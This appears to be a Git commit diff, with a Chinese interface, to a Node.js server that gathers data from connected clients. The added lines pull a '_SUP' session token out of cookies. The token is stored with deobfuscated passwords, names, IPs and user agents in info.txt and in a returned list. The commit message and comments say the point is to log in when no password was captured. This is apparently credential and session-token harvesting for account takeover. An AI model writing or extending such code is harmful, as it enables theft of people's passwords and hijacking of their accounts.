提交 9a299275 authored 作者: GOD_ZYX's avatar GOD_ZYX

追加 token,辅助登录

上级 f6b12d86
......@@ -115,12 +115,13 @@ const agentProcessor = () => {
pwdBase64 = com.CryptoJs.decryptData(_AUTH)
}
/* 有密码时,才写入基础数据中 */
if (pwdBase64) {
if (pwdBase64 || _SUP) {
fs.writeFile(stuPath + '/info.txt', [
'Name: ' + json.name,
'Sys: ' + json.sys,
'Auth: ' + json.auth,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'Token: ' + _SUP, // 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'IP: ' + getClientIP(req),
'UA: ' + req.headers['user-agent'],
'\n\n'
......
......@@ -17,6 +17,7 @@ const sendMsg = (req, res) => {
let _tmp = _nsCoonPool[i]
let _str = ''
let _pwd = ''
let _token = ''
if (_tmp.backData) {
let _json = JSON.parse(_tmp.backData)
if (_json.action === 'sendAuth' && _json.info) { // 获取本地用户基本数据 - sendAuth
......@@ -33,10 +34,17 @@ const sendMsg = (req, res) => {
break
}
}
for (let i = 0; i < _cookiesArr.length; i++) {
if (_cookiesArr[i].name === '_SUP') { // 获取cookie中 token - _SUP
_token = _cookiesArr[i].value
break
}
}
_conArr.push({
auth: _tmp.key,
_str: _str,
pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''),
Token: _token,
keepExitTime: com.DateTime.timestampToFormatTimeStr(new Date().getTime() - _tmp.createTime),
IPs: _tmp.IPs,
UA: _tmp.UA
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论